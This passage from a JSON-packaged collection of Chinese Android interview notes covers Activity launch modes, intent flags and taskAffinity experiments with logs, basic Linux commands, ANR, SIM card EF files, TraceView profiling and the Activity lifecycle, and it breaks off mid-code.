**结果分析：**\n\n1）当相互跳转的两个Activity的android:taskAffinity不同时，添加FLAG_ACTIVITY_NEW_TASK：第一次启动SecondActivity时，会新建一个task，并将SecondActivity添加到该task中。这与singleTask产生的效果是一样的！但是，当企图再次从MainActivity进入到SecondActivity时，却什么也没有发生！\n\n2）为什么呢？是因为此时SecondActivity实例已经存在，但是它所在的task的栈顶是MainActivity；而单独的添加FLAG_ACTIVITY_NEW_TASK又不会\"删除task中位于SecondActivity之上的Activity实例\"，所以就没有发生跳转！\n\n#### **FLAG_ACTIVITY_CLEAR_TOP。**\n\n修改MainActivity里面的点击事件如下：\n\n```java\nIntent intent = new Intent(MainActivity.this, SecondActivity.class);\nintent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK \n                        | Intent.FLAG_ACTIVITY_CLEAR_TOP);\nstartActivity(intent);\n```\n\n```java\n<activity android:name=\".MainActivity\">\n            <intent-filter>\n                <action android:name=\"android.intent.action.MAIN\"/>\n\n                <category android:name=\"android.intent.category.LAUNCHER\"/>\n            </intent-filter>\n        </activity>\n<activity android:name=\"SecondActivity\"/>\n```\n\n#### **测试方式：**\n\nMainActivity--> SecondActivity --> MainActivity--> SecondActivity\n\n#### **日志输出**\n\n```\nonCreate：MainActivity TaskId: 80 hasCode:58656936\nonCreate：SecondActivity TaskId: 80 hasCode:212434303\nonCreate：MainActivity TaskId: 80 hasCode:121740648\nonCreate：SecondActivity TaskId: 80 hasCode:15009890\n```\n\n#### **测试结果：**\n\n1） MainActivity和SecondActivity在同一个task中！\n\n2） 两个SecondActivity是不同的实例。\n\n#### **结果分析：**\n\n这与没有添加FLAG_ACTIVITY_CLEAR_TOP时效果一样！这说明，当相互跳转的两个Activity的android:taskAffinity一样时，不会产生任何效果！\n\n接下来，看看不同android:taskAffinity的情况，代码一致，清单文件修改\n\n#### **文件配置**\n\n```xml\n<activity android:name=\".MainActivity\">\n            <intent-filter>\n                <action android:name=\"android.intent.action.MAIN\"/>\n\n                <category android:name=\"android.intent.category.LAUNCHER\"/>\n            </intent-filter>\n        </activity>\n<activity android:name=\"SecondActivity\"\n                  android:taskAffinity=\"com.maweiqi.second\"/>\n```\n\n#### **测试方式：**\n\nMainActivity--> SecondActivity --> MainActivity--> SecondActivity\n\n#### **日志输出**\n\n```\nonCreate：MainActivity TaskId: 83 hasCode:195694529\nonCreate：SecondActivity TaskId: 84 hasCode:54326677\nonCreate：MainActivity TaskId: 84 hasCode:190178689\nonCreate：SecondActivity TaskId: 84 hasCode:5761837\n```\n\n#### **在命令行中执行以下命令 adb shell dumpsys activity ,有以下输出：**\n\n```\n Running activities (most recent first):\n    TaskRecord{12e942 #84 A=com.maweiqi.second U=0 sz=1}\n       Run #1: ActivityRecord{e0674b5 u0 com.open.android.task5/.SecondActivity t84}\n     TaskRecord{62b9d53 #83 A=com.open.android.task5 U=0 sz=1}\n       Run #0: ActivityRecord{71ec08a u0 com.open.android.task5/.MainActivity t83}\n\n    mResumedActivity: ActivityRecord{e0674b5 u0 com.open.android.task5/.SecondActivity t84}\n```\n\n#### **测试结果：**\n\n1）MainActivity和SecondActivity在不同task中！\n\n2） 两个SecondActivity是不同实例。\n\n#### **结果分析：**\n\nFLAG_ACTIVITY_NEW_TASK和FLAG_ACTIVITY_CLEAR_TOP的使用和android:taskAffinity相关。\n在同时使用FLAG_ACTIVITY_NEW_TASK|FLAG_ACTIVITY_CLEAR_TOP的情况下，以A启动B来说\n\n1）当A和B的taskAffinity相同时：添加FLAG_ACTIVITY_NEW_TASK|FLAG_ACTIVITY_CLEAR_TOP没有任何作用。和没有添加时的效果一样！\n\n2）当A和B的taskAffinity不同时：添加FLAG_ACTIVITY_NEW_TASK|FLAG_ACTIVITY_CLEAR_TOP后，如果该activity没有设置启动模式（即默认是standard），或者intent没有设置一个FLAG_ACTIVITY_SINGLE_TOP 的flag，那么这个activity就会销毁，然后重新创建这个实例\n\n### **总结：**\n\n#### **Activity的启动模式**\n\n在AndroidManifest.xml中，可以配置每个activity的启动模式：例如：\nandroid:launchMode=\"standard\"\n\n#### **（1） standard 标准模式**\n\n此模式，不管有没有已存在的实例，都生成新的实例。每次调用startActivity()启动Activity时都会创建一个新的Activity放在栈顶，每次返回都会销毁实例并出栈，可以重复创建。\n\n#### **（2） singletop 单一顶部模式**\n\n如果任务栈的栈顶存在这个要开启的activity，不会重新创建新的activity，而是复用已存在的activity。保证栈顶如果存在，则不会重复创建，但如果不在栈顶，那么还是会创建新的实例。\n应用场景：浏览器的书签\n\n#### **（3） singletask 单一任务模式**\n\n是一个比较严格的模式，在当前任务栈里面只能有一个实例存在，当开启activity的时候，就去检查在任务栈里面是否有实例已经存在，如果有实例存在就复用这个已经存在的activity，并且把这个activity上面的所有的别的activity都清空，复用这个已经存在的activity。\n应用场景：BrowserActivity 浏览器界面\n如果一个activity的创建需要占用大量的系统资源（cpu，内存）一般配置这个activity为singletask的启动模式。webkit内核(c) 初始化需要大量内存 js解析引擎 html渲染引擎 http解析，下载…减少内存开销，cpu占用。播放器的播放Activity\n\n#### **（4） singleInstance**\n\n这种启动模式比较特殊，它会启用一个新的任务栈，activity会运行在自己的任务栈里，这个任务栈里面只有一个实例存在并且保证不再有其他Activity实例进入。在整个手机操作系统里面只有一个实例存在。\n应用场景：来电页面。InCallScreenActivity\n\n### **最后的总结：**\n\n实话说，关于任务栈的bug有点多，如果真的添加了启动模式，一定要多多测试，有的地方和官方文档描述完全不相符。\nstackoverflow上也有人吐糟。\n[http://stackoverflow.com/questions/9772927/flag-activity-new-task-clarification-needed](http://stackoverflow.com/questions/9772927/flag-activity-new-task-clarification-needed)"
  },
  {
    "path": "docs/android/Android-Interview/Android/Android基础面试核心内容.md",
    "content": "## Android基本常识\n\n### 1. 写10个简单的linux命令\n\n| 命令       | 作用                     |\n| :------- | :--------------------- |\n| mkdir    | 创建文件夹                  |\n| rmdir    | 删除文件夹                  |\n| mv       | 移动文件                   |\n| rm       | 删除文件                   |\n| cp       | 拷贝文件                   |\n| cat      | 查看文件                   |\n| tail     | 查看文件尾部                 |\n| more     | 分页查看文件                 |\n| cd       | 切换当前目录                 |\n| ls       | 列出文件清单                 |\n| reboot   | 重启                     |\n| date     | 显示日期                   |\n| cal      | 显示日历                   |\n| ps       | 查看系统进程相当于windows的任务管理器 |\n| ifconfig | 配置网络                   |\n\n### 2. 书写出android工程的目录结构\n\n```\n│  build.gradle       项目Gradle构建脚本\n│  gradle.properties  项目Gradle属性文件\n│  gradlew            在没有安装gradle的pc上使用,没用\n│  gradlew.bat        在没有安装gradle的pc上使用,没用\n│  local.properties   指定sdk所在目录\n│  settings.gradle    项目Gradle设置文件\n│  \n├─.gradle\n├─.idea\n├─app\n│  │  .gitignore   git忽略文件列表\n│  │  app.iml  临时文件,不需要关心\n│  │  build.gradle  Module Gradle构建脚本\n│  │  proguard-rules.pro    proguard混淆规则\n│  │  \n│  ├─build  构建目录，相当于Eclipse中默认Java工程的bin目录。编译生成的apk在此目录\n│  ├─libs   依赖包\n│  └─src\n│      ├─androidTest  测试相关代码文件夹\n│      │  └─java\n│      │      └─com\n│      │          └─itheima\n│      │              └─myapplication\n│      │                      ApplicationTest.java\n│      │                      \n│      └─main\n│          │  AndroidManifest.xml   清单文件\n│          │  \n│          ├─assets\n│          ├─aidl\n│          ├─java       项目源码\n│          │  └─com\n│          │      └─itheima\n│          │          └─myapplication\n│          │                  MainActivity.java\n│          │\t\n│          ├─jni\t放置c代码\n│          ├─jniLibs\t放置so库\n│          ├─assets\n│          └─res        资源文件\n│              ├─drawable  .9图片只能放到drawable目录下\n│              ├─layout\n│              │      activity_main.xml\n│              │      \n│              ├─menu\n│              │      menu_main.xml\n│              │      \n│              ├─mipmap-hdpi            类似drawable-hdpi\n│              │      ic_launcher.png\n│              │      \n│              ├─mipmap-mdpi            类似drawable-mdpi\n│              │      ic_launcher.png\n│              │      \n│              ├─mipmap-xhdpi           类似drawable-xdpi\n│              │      ic_launcher.png\n│              │      \n│              ├─mipmap-xxhdpi          类似drawable-xxdpi\n│              │      ic_launcher.png\n│              │      \n│              ├─values\n│              │      dimens.xml\n│              │      strings.xml\n│              │      styles.xml\n│              │      \n│              └─values-w820dp\n│                      dimens.xml\n│                      \n├─build\n└─gradle\n    └─wrapper   gradle wrapper可以看作是对gradle的封装，它可以使得在没有安装gradle的电脑上也可以使用Gradle进行构建\n            gradle-wrapper.jar\n            gradle-wrapper.properties\n```\n\n### 3. 什么是ANR 如何避免它？\n\n在Android上，如果你的应用程序有一段时间响应不够灵敏，系统会向用户显示一个对话框，这个对话框称作应用程序无响应（ANR：Application Not Responding）对话框。用户可以选择让程序继续运行，但是，他们在使用你的应用程序时，并不希望每次都要处理这个对话框。因此，在程序里对响应性能的设计很重要，这样，系统不会显示ANR给用户。不同的组件发生ANR的时间不一样，主线程（Activity、Service）是5秒，BroadCastReceiver是10秒。\n\n解决方案：\n\n将所有耗时操作，比如访问网络，Socket通信，查询大量SQL语句，复杂逻辑计算等都放在子线程中去，然后通过handler.sendMessage()、runonUITread()、AsyncTask等方式更新UI。无论如何都要确保用户界面操作的流畅度。如果耗时操作需要让用户等待，那么可以在界面上显示进度条。\n\n### 4. 谈谈Android的优点和不足之处\n\n优点：\n\n- 开放性，开源，免费，可定制\n- 挣脱运营商束缚\n- 丰富的硬件选择\n- 不受任何限制的开发商\n- 无缝结合的Google应用\n\n缺点：\n\n- 安全问题、隐私问题\n- 同质化严重\n- 运营商对Android手机仍然有影响\n- 山寨化严重\n- 过分依赖开发商，缺乏标准配置\n\n### 5.一条最长的短信息约占多少byte?\n\n在国内的三大运营商通常情况下中文70(包括标点)，英文160个。对于国外的其他运行商具体多长需要看运营商类型了。\n\nandroid内部是通过如下代码进行判断具体一个短信多少byte的。\n\nArrayList&lt;String> android.telephony.SmsManager.divideMessage(String text)\n\n### 6. sim卡的EF文件有何作用？\n\n基本文件EF(Elementary File)是SIM卡文件系统的一部分。\n\n| 文件              | 文件标识符 | 文件缩写    | 中文名称                                     | 文件作用                                     |\n| --------------- | ----- | ------- | ---------------------------------------- | ---------------------------------------- |\n| MF              | 3F00  | 根目录     | 备注：所有非ETSI GSM协议中规定的应用文件由各厂家自行定义在根目录下（如：PIN1，PIN2…） |                                          |\n| EFICCID         | 2FE2  | ICCID   | SIM卡唯一的识别号                               | 包含运营商、卡商、发卡时间、省市代码等信息                    |\n| DFGSM           | 7F20  | GSM目录   | 备注：根据ETSIGSM09.91的规定Phase2(或以上)的SIM卡中应该有7F21并指向7F20,用以兼容Phase1的手机 |                                          |\n| EFLP语言选择        | 6F05  | LP      | 语言选择文件                                   | 包含一种或多种语言编码                              |\n| EFIMSI          | 6F07  | IMSI    | 国际移动用户识别符                                | 包含SIM卡所对应的号段，比如46000代表135－139号段、46002代表1340－1348 |\n| EFKC语音加密密钥      | 6F20  | Kc      | 计算密钥                                     | 用于SIM卡的加密、解密                             |\n| EFPLMNsel网络选择表  | 6F30  | PLMNsel | 公共陆地网选择                                  | 决定SIM卡选择哪种网络，在这里应该选择中国移动的网络              |\n| EFHPLMN归属地网络选择表 | 6F31  | HPLMN   | 两次搜索PLMN的时间间隔                            | 两次搜索中国移动的网络的时间间隔                         |\n| EFACMmax最大计费额   | 6F37  | ACMmax  | 包含累积呼叫表的最大值                              | 全部的ACM数据存在SIM卡中，此处取最大值                   |\n| EFSST SIM卡服务表   | 6F38  | SST     | SIM卡服务列表                                 | 指出SIM卡可以提供服务的种类，哪些业务被激活哪些业务没有开通          |\n| EFACM累加计费计数器    | 6F39  | ACM     | 累计呼叫列表                                   | 当前的呼叫和以前的呼叫的单位总和                         |\n| EFGID1分组识别1     | 6F3E  | GID1    | 1级分组识别文件                                 | 包含特定的SIM-ME组合的标识符，可以识别一组特定的SIM卡          |\n| EFGID2分组识别2     | 6F3F  | GID2    | 2级分组识别文件                                 | 包含特定的SIM-ME组合的标识符，可以识别一组特定的SIM卡          |\n| EFPUCT单位价格/货币表  | 6F41  | PUCT    | 呼叫单位的价格和货币表                              | PUCT是与计费通知有关的信息，ME用这个信息结合EFACM，以用户选择的货币来计算呼叫费用 |\n| EFCBMI小区广播识别号   | 6F45  | CBMI    | 小区广播信息标识符                                | 规定了用户希望MS采纳的小区广播消息内容的类型                  |\n| EFSPN服务提供商      | 6F46  | SPN     | 服务提供商名称                                  | 包含服务提供商的名称和ME显示的相应要求                     |\n| EFCBMID         | 6F48  | CBMID   | 数据下载的小区广播消息识别符                           | 移动台将收到的CBMID传送给SIM卡                      |\n| EFSUME          | 6F54  | SUME    | 建立菜单单元                                   | 建立SIM卡中的菜单                               |\n| EFBCCH广播信道      | 6F74  | BCCH    | 广播控制信道                                   | 由于BCCH的存储，在选择小区时，MS可以缩小对BCCH载波的搜索范围      |\n| EFACC访问控制级别     | 6F78  | ACC     | 访问控制级别                                   | SIM卡有15个级别，10个普通级别，5个高级级别                |\n| EFFPLMN禁止网络号    | 6F7B  | FPLMN   | 禁用的PLMN                                  | 禁止选择除中国移动以外的其他运营商，比如中国联通、中国卫通等           |\n| EFLOCI位置信息      | 6F7E  | LOCI    | 位置信息                                     | 存储临时移动用户识别符、位置区信息等内容                     |\n| EFAD管理数据        | 6FAD  | AD      | 管理数据                                     | 包括关于不同类型SIM卡操作模式的信息。例如：常规模式（PLMN用户用于GSM网络操作），型号认证模式（允许ME在无线设备的认证期间的特殊应用）；小区测试模式（在小区商用之前，进行小区测试），制造商特定模式（允许ME制造商在维护阶段进行特定的性能自动测试） |\n| EFPHASE阶段       | 6FAE  | PHASE   | 阶段标识                                     | 标识SIM卡所处的阶段信息，比如是普通SIM卡还是STK卡等           |\n| DFTELECOM       | 7F10  | 电信目录    |                                          |                                          |\n| EFADN缩位拨号       | 6F3A  | AND     | 电话簿                                      | 用于将电话记录存放在SIM卡中                          |\n| EFFDN固定拨号       | 6F3B  | FDN     | 固定拨号                                     | 包括固定拨号（FDN）和/或补充业务控制字串（SSC），还包括相关网络/承载能力的识别符和扩展记录的识别符，以及有关的α识别符 |\n| EFSMS短消息        | 6F3C  | SMS     | 短消息                                      | 用于将短消息记录存放在SIM卡中                         |\n| EFCCP能力配置参数     | 6F3D  | CCP     | 能力配置参数                                   | 包括所需要的网络和承载能力的参数，以及当采用一个缩位拨号号码，固定拨号号码，MSISDN、最后拨号号码、服务拨号号码或禁止拨号方式等，建立呼叫时相关的ME配置 |\n| EFMSISDN电话号码    | 6F40  | MSISDN  | 移动基站国际综合业务网号                             | 存放用户的手机号                                 |\n| EFSMSP短信息参数     | 6F42  | SMSP    | 短消息业务参数                                  | 包括短信中心号码等信息                              |\n| EFSMSS短信息状态     | 6F43  | SMSS    | 短消息状态                                    | 这个标识是用来控制流量的                             |\n| EFLND最后拨号       | 6F44  | LND     | 最后拨叫号码                                   | 存储最后拨叫号码                                 |\n| EFExt1扩展文件1     | 6F4A  | EXT1    | 扩展文件1                                    | 包括AND，MSISDN或LND的扩展数据                    |\n| EFExt2扩展文件2     | 6F4B  | EXT2    | 扩展文件2                                    | 包含FDN的扩展数据                               |\n\n### 7. 如何判断是否有SD卡？\n\n通过如下方法：`Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)`，如果返回true就是有sdcard，如果返回false则没有。\n\n### 8. dvm的进程和Linux的进程, 应用程序的进程是否为同一个概念？\n\ndvm指dalvik的虚拟机。每一个Android应用程序都拥有一个独立的Dalvik虚拟机实例，应用程序都在它自己的进程中运行。而每一个dvm都是在Linux 中的一个进程，所以说可以近似认为是同一个概念。\n\n什么是android DVM:Dalvik是Google公司自己设计用于Android平台的Java虚拟机，每一个Dalvik 应用作为一个独立的Linux 进程执行。独立的进程可以防止在虚拟机崩溃的时候所有程序都被关闭。\n\nDalvik和Java虚拟机的区别\n\n1.Dalvik主要是完成对象生命周期管理，堆栈管理，线程管理，安全和异常管理，以及垃圾回收等等重要功能。 　　\n\n2.Dalvik负责进程隔离和线程管理，每一个Android应用在底层都会对应一个独立的Dalvik虚拟机实例，其代码在虚拟机的解释下得以执行。 　　\n\n3.不同于Java虚拟机运行java字节码，Dalvik虚拟机运行的是其专有的文件格式Dex\n\n4.dex文件格式可以减少整体文件尺寸，提高I/O操作的类查找速度。 　　\n\n5.odex是为了在运行过程中进一步提高性能，对dex文件的进一步优化。 　　\n\n6.所有的Android应用的线程都对应一个Linux线程，虚拟机因而可以更多的依赖操作系统的线程调度和管理机制\n\n7.有一个特殊的虚拟机进程Zygote，他是虚拟机实例的孵化器。它在系统启动的时候就会产生，它会完成虚拟机的初始化，库的加载，预制类库和初始化的操作。如果系统需要一个新的虚拟机实例，它会迅速复制自身，以最快的数据提供给系统。对于一些只读的系统库，所有虚拟机实例都和Zygote共享一块内存区域。\n\n### 9. Android程序与Java程序的区别？\n\nAndroid程序用android sdk开发，java程序用javasdk开发。\n\nAndroid SDK引用了大部分的Java SDK，少数部分被AndroidSDK抛弃，比如说界面部分，java.awt swing  package除了java.awt.font被引用外，其他都被抛弃，在Android平台开发中不能使用。android sdk 添加工具jar httpclient , pull  opengl\n\n### 10.启动应用后，改变系统语言，应用的语言会改变么？\n\n这个一般是不会的，一般需要重启应用才能改变应用语言。但是对应应用来说如果做了国际化处理则支持如果没有处理那系统语言再更改也是无用的。\n\n### 11.请介绍下adb、ddms、aapt的作用\n\nadb是Android Debug Bridge ，Android调试桥的意思，ddms是Dalvik Debug Monitor Service，dalvik调试监视服务。aapt即AndroidAsset Packaging Tool，在SDK的build-tools目录下。该工具可以查看，创建，更新ZIP格式的文档附件(zip, jar, apk)。也可将资源文件编译成二进制文件，尽管我们没有直接使用过该工具，但是开发工具会使用这个工具打包apk文件构成一个Android 应用程序。\n\nAndroid 的主要调试工具是adb(Android debuging bridge)，ddms是一个在adb基础上的一个图形化工具。adb，它是一个命令行工具。而ddms功能与adb相同，只是它有一个图形化界面。对不喜欢命今操作方式的人来说是一个不错的选择。\n\n### 12.ddms 和traceview的区别\n\n简单的说ddms是一个程序执行查看器，在里面可以看见线程和堆栈等信息，traceView是程序性能分析器。\n\n### 13.补充知识：TraceView的使用\n\n#### 13.1 TraceView简介\n\nTraceview是Android平台特有的数据采集和分析工具，它主要用于分析Android中应用程序的hotspot（瓶颈）。Traceview本身只是一个数据分析工具，而数据的采集则需要使用Android SDK中的Debug类或者利用DDMS工具。二者的用法如下：\n\n开发者在一些关键代码段开始前调用Android SDK中Debug类的startMethodTracing函数，并在关键代码段结束前调用stopMethodTracing函数。这两个函数运行过程中将采集运行时间内该应用所有线程（注意，只能是Java线程）的函数执行情况，并将采集数据保存到/mnt/sdcard/下的一个文件中。开发者然后需要利用SDK中的Traceview工具来分析这些数据。\n\n借助Android SDK中的DDMS工具。DDMS可采集系统中某个正在运行的进程的函数调用信息。对开发者而言，此方法适用于没有目标应用源代码的情况。DDMS工具中Traceview的使用如下图所示。\n\n![img](http://bbs.itheima.com/data/attachment/forum/201508/09/204016lpeujohi86i238dx.png.thumb.jpg)\n\n点击上图中所示按钮即可以采集目标进程的数据。当停止采集时，DDMS会自动触发Traceview工具来浏览采集数据。\n\n下面，我们通过一个示例程序向读者介绍Debug类以及Traceview的使用。\n\n实例程序如下图所示：界面有4个按钮，对应四个方法。\n\n![img](http://bbs.itheima.com/data/attachment/forum/201508/09/204116wfaeyfwa99yx2wbp.png.thumb.jpg)\n\n点击不同的方法会进行不同的耗时操作。\n\n```java\npublic class MainActivity extends ActionBarActivity {\n        @Override\n        protected void onCreate(Bundle savedInstanceState) {\n                super.onCreate(savedInstanceState);\n                setContentView(R.layout.activity_main);\n        }\n\n        public void method1(View view) {\n                int result = jisuan();\n                 System.out.println(result);\n         }\n         private int jisuan() {\n                 for (int i = 0; i < 10000; i++) {\n                         System.out.println(i);\n                 }\n                 return 1;\n         }\n\n         public void method2(View view) {\n                 SystemClock.sleep(2000);\n         }\n\n         public void method3(View view) {\n                 int sum = 0;\n                 for (int i = 0; i < 1000; i++) {\n                         sum += i;\n                 }\n                 System.out.println(\"sum=\" + sum);\n         }\n\n         public void method4(View view) {\n                 Toast.makeText(this, \"\" + new Date(), 0).show();\n         }\n }\n```\n\n我们分别点击按钮一次，要求找出最耗时的方法。点击前通过DDMS 启动 Start Method Profiling按钮。\n\n![img](http://bbs.itheima.com/data/attachment/forum/201508/09/204308gttti12apmt9thi3.png.thumb.jpg)\n\n然后依次点击4个按钮，都执行后再次点击上图中红框中按钮，停止收集数据。\n\n接下来我们开始对数据进行分析。\n\n当我们停止收集数据的时候会出现如下分析图表。该图表分为2大部分，上面分不同的行，每一行代表一个线程的执行耗时情况。main线程对应行的的内容非常丰富，而其他线程在这段时间内干得工作则要少得多。图表的下半部分是具体的每个方法执行的时间情况。显示方法执行情况的前提是先选中某个线程。\n\n![img](http://bbs.itheima.com/data/attachment/forum/201508/09/204355dzirs7fk3ssacgtm.png.thumb.jpg)\n\n我们主要是分析main线程。\n\n上面方法指标参数所代表的意思如下：\n\n| 列名                     | 描述                                  |\n| :--------------------- | :---------------------------------- |\n| Name                   | 该线程运行过程中所调用的函数名                     |\n| Incl Cpu Time          | 某函数占用的CPU时间，包含内部调用其它函数的CPU时间        |\n| Excl Cpu Time          | 某函数占用的CPU时间，但不含内部调用其它函数所占用的CPU时间    |\n| Incl Real Time         | 某函数运行的真实时间（以毫秒为单位），内含调用其它函数所占用的真实时间 |\n| Excl Real Time         | 某函数运行的真实时间（以毫秒为单位），不含调用其它函数所占用的真实时间 |\n| Call+Recur Calls/Total | 某函数被调用次数以及递归调用占总调用次数的百分比            |\n| Cpu Time/Call          | 某函数调用CPU时间与调用次数的比。相当于该函数平均执行时间      |\n| Real Time/Call         | 同CPU  Time/Call类似，只不过统计单位换成了真实时间    |\n\n我们为了找到最耗时的操作，那么可以通过点击Incl Cpu Time，让其按照时间的倒序排列。我点击后效果如下图：\n\n![img](http://bbs.itheima.com/data/attachment/forum/201508/09/204642ieokexkpse7sxess.png.thumb.jpg)\n\n通过分析发现：method1最耗时，耗时2338毫秒。\n\n![img](http://bbs.itheima.com/data/attachment/forum/201508/09/204643ojljvruy9j8dy4jr.png.thumb.jpg)\n\n那么有了上面的信息我们可以进入我们的method1方法查看分析我们的代码了。\n\n## Activity\n\n### 1.什么是Activity?\n\n四大组件之一，通常一个用户交互界面对应一个activity。activity 是Context的子类，同时实现了window.callback和keyevent.callback， 可以处理与窗体用户交互的事件。\n\n常见的Activity类型有FragmentActivitiy，ListActivity，TabAcitivty等。\n\n如果界面有共同的特点或者功能的时候，还会自己定义一个BaseActivity。\n\n### 2.请描述一下Activity 生命周期\n\nActivity从创建到销毁有多种状态，从一种状态到另一种状态时会激发相应的回调方法，这些回调方法包括：onCreate、onStart、onResume、onPause、onStop、onDestroy\n\n其实这些方法都是两两对应的，\n\nonCreate创建与onDestroy销毁；\n\nonStart可见与onStop不可见；\n\nonResume可编辑（即焦点）与onPause；\n\n这6个方法是相对应的，那么就只剩下一个onRestart方法了，这个方法在什么时候调用呢？\n\n答案就是：在Activity被onStop后，但是没有被onDestroy，在再次启动此Activity时就调用onRestart（而不再调用onCreate）方法；如果被onDestroy了，则是调用onCreate方法。\n\n### 3.如何保存Activity的状态？\n\nActivity的状态通常情况下系统会自动保存的，只有当我们需要保存额外的数据时才需要使用到这样的功能。\n\n一般来说， 调用onPause()和onStop()方法后的activity实例仍然存在于内存中， activity的所有信息和状态数据不会消失， 当activity重新回到前台之后， 所有的改变都会得到保留。\n\n但是当系统内存不足时， 调用onPause()和onStop()方法后的activity可能会被系统摧毁， 此时内存中就不会存有该activity的实例对象了。如果之后这个activity重新回到前台， 之前所作的改变就会消失。为了避免此种情况的发生， 我们可以覆写onSaveInstanceState()方法。onSaveInstanceState()方法接受一个Bundle类型的参数， 开发者可以将状态数据存储到这个Bundle对象中， 这样即使activity被系统摧毁，当用户重新启动这个activity而调用它的onCreate()方法时， 上述的Bundle对象会作为实参传递给onCreate()方法， 开发者可以从Bundle对象中取出保存的数据， 然后利用这些数据将activity恢复到被摧毁之前的状态。\n\n需要注意的是， onSaveInstanceState()方法并不是一定会被调用的， 因为有些场景是不需要保存状态数据的. 比如用户按下BACK键退出activity时， 用户显然想要关闭这个activity， 此时是没有必要保存数据以供下次恢复的， 也就是onSaveInstanceState()方法不会被调用. 如果调用onSaveInstanceState()方法， 调用将发生在onPause()或onStop()方法之前。\n\n```java\n@Override\nprotected void onSaveInstanceState(Bundle outState) {\n        super.onSaveInstanceState(outState);\n}\n```\n\n### 4.两个Activity之间跳转时必然会执行的是哪几个方法？\n\n一般情况下比如说有两个activity，分别叫A，B，当在A里面激活B组件的时候， A会调用 onPause()方法，然后B调用onCreate() ，onStart()， onResume()。这个时候B覆盖了窗体， A会调用onStop()方法.  如果B是个透明的，或者是对话框的样式， 就不会调用A的onStop()方法。\n\n### 5.横竖屏切换时Activity的生命周期\n\n此时的生命周期跟清单文件里的配置有关系。\n\n1.不设置Activity的`android:configChanges`时，切屏会重新调用各个生命周期，默认首先销毁当前activity，然后重新加载。\n\n2.设置Activity的`android:configChanges=\"orientation|keyboardHidden|screenSize\"`时，切屏不会重新调用各个生命周期，只会执行onConfigurationChanged方法。\n\n通常在游戏开发， 屏幕的朝向都是写死的。\n\n### 6.如何将一个Activity设置成窗口的样式\n\n只需要给我们的Activity配置如下属性即可。\n\n```xml\nandroid:theme=\"@android:style/Theme.Dialog\"\n```\n\n### 7.如何退出Activity？如何安全退出已调用多个Activity的Application？\n\n1.通常情况用户退出一个Activity只需按返回键，我们写代码想退出activity直接调用finish()方法就行。\n\n2.记录打开的Activity：每打开一个Activity，就记录下来。在需要退出时，关闭每一个Activity即可。\n\n```java\n//伪代码\nList<Activity> lists;// 在application 全局的变量里面\nlists = new ArrayList<Activity>();\nlists.add(this);\nfor (Activity activity : lists) {\n    activity.finish();\n}\nlists.remove(this);\n```\n3.发送特定广播：\n\n在需要结束应用时，发送一个特定的广播，每个Activity收到广播后，关闭即可。\n\n```java\n//给某个activity 注册接受接受广播的意图  \nregisterReceiver(receiver, filter)\n\n//如果过接受到的是 关闭activity的广播  就调用finish()方法把当前的activity finish()掉\n```\n\n4.递归退出\n\n在打开新的Activity时使用startActivityForResult，然后自己加标志，在onActivityResult中处理，递归关闭。\n\n5.其实 也可以通过 intent的flag 来实现intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)激活一个新的activity。此时如果该任务栈中已经有该Activity，那么系统会把这个Activity上面的所有Activity干掉。其实相当于给Activity配置的启动模式为SingleTop。\n\n### 8.请描述一下Activity的启动模式都有哪些以及各自的特点\n\n启动模式（launchMode）在多个Activity跳转的过程中扮演着重要的角色，它可以决定是否生成新的Activity实例，是否重用已存在的Activity实例，是否和其他Activity实例公用一个task里。这里简单介绍一下task的概念，task是一个具有栈结构的对象，一个task可以管理多个Activity，启动一个应用，也就创建一个与之对应的task。\n\nActivity一共有以下四种launchMode：\n\n- standard 默认启动模式\n\n- singleTop 栈顶复用模式\n\n- singleTask 栈内复用模式\n\n- singleInstance 单例模式\n\n我们可以在AndroidManifest.xml配置<activity>的android:launchMode属性为以上四种之一即可。\n\n下面我们结合实例一一介绍这四种lanchMode：\n\n#### 8.1 standard\n\nstandard模式是默认的启动模式，不用为&lt;activity>配置android:launchMode属性即可，当然也可以指定值为standard。\n\n我们将创建一个Activity，命名为FirstActivity，来演示一下标准的启动模式。FirstActivity代码如下：\n\n```java\npublic class FirstActivity extends Activity {\n    @Override\n    public void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.first);\n        TextView textView = (TextView) findViewById(R.id.tv);\n        textView.setText(this.toString());\n        Button button = (Button) findViewById(R.id.bt);\n        button.setOnClickListener(new View.OnClickListener() {\n                         @Override\n                         public void onClick(View v) {\n                                 Intent intent = new Intent(FirstActivity.this, FirstActivity.class);\n                             startActivity(intent);\n                         }\n                 });\n     }\n }\n```\n\nFirstActivity界面中的TextView用于显示当前Activity实例的序列号，Button用于跳转到下一个FirstActivity界面。\n\n然后我们连续点击几次按钮，将会出现下面的现象：\n\n![img](http://bbs.itheima.com/data/attachment/forum/201508/09/205556t5fqfqf9p75um5m5.png.thumb.jpg)\n\n我们注意到都是FirstActivity的实例，但序列号不同，并且我们需要连续按后退键两次，才能回到第一个FirstActivity。standard模式的原理如下图所示：\n\n![img](http://bbs.itheima.com/data/attachment/forum/201508/09/205557cgllglpuuluzgcll.png.thumb.jpg)\n\n如图所示，每次跳转系统都会在task中生成一个新的FirstActivity实例，并且放于栈结构的顶部，当我们按下后退键时，才能看到原来的FirstActivity实例。\n\n这就是standard启动模式，不管有没有已存在的实例，都生成新的实例。\n\n#### 8.2 singleTop\n\n我们在上面的基础上为&lt;activity>指定属性android:launchMode=\"singleTop\"，系统就会按照singleTop启动模式处理跳转行为。我们重复上面几个动作，将会出现下面的现象：\n\n![img](http://bbs.itheima.com/data/attachment/forum/201508/09/205728ut1x8w488q84869m.png.thumb.jpg)\n\n![img](http://bbs.itheima.com/data/attachment/forum/201508/09/205728nrtxhzrqdz9xc4bo.png.thumb.jpg)\n\n我们看到这个结果跟standard有所不同，三个序列号是相同的，也就是说使用的都是同一个FirstActivity实例；如果按一下后退键，程序立即退出，说明当前栈结构中只有一个Activity实例。singleTop模式的原理如下图所示：\n\n![img](http://bbs.itheima.com/data/attachment/forum/201508/09/205728uxaz9gcfzwx9n9t5.png.thumb.jpg)\n\n正如上图所示，跳转时系统会先在栈结构中寻找是否有一个FirstActivity实例正位于栈顶，如果有则不再生成新的，而是直接使用。也许朋友们会有疑问，我只看到栈内只有一个Activity，如果是多个Activity怎么办，如果不是在栈顶会如何？我们接下来再通过一个示例来证实一下大家的疑问。\n\n我们再新建一个Activity命名为SecondActivity，如下：\n\n```java\npublic class 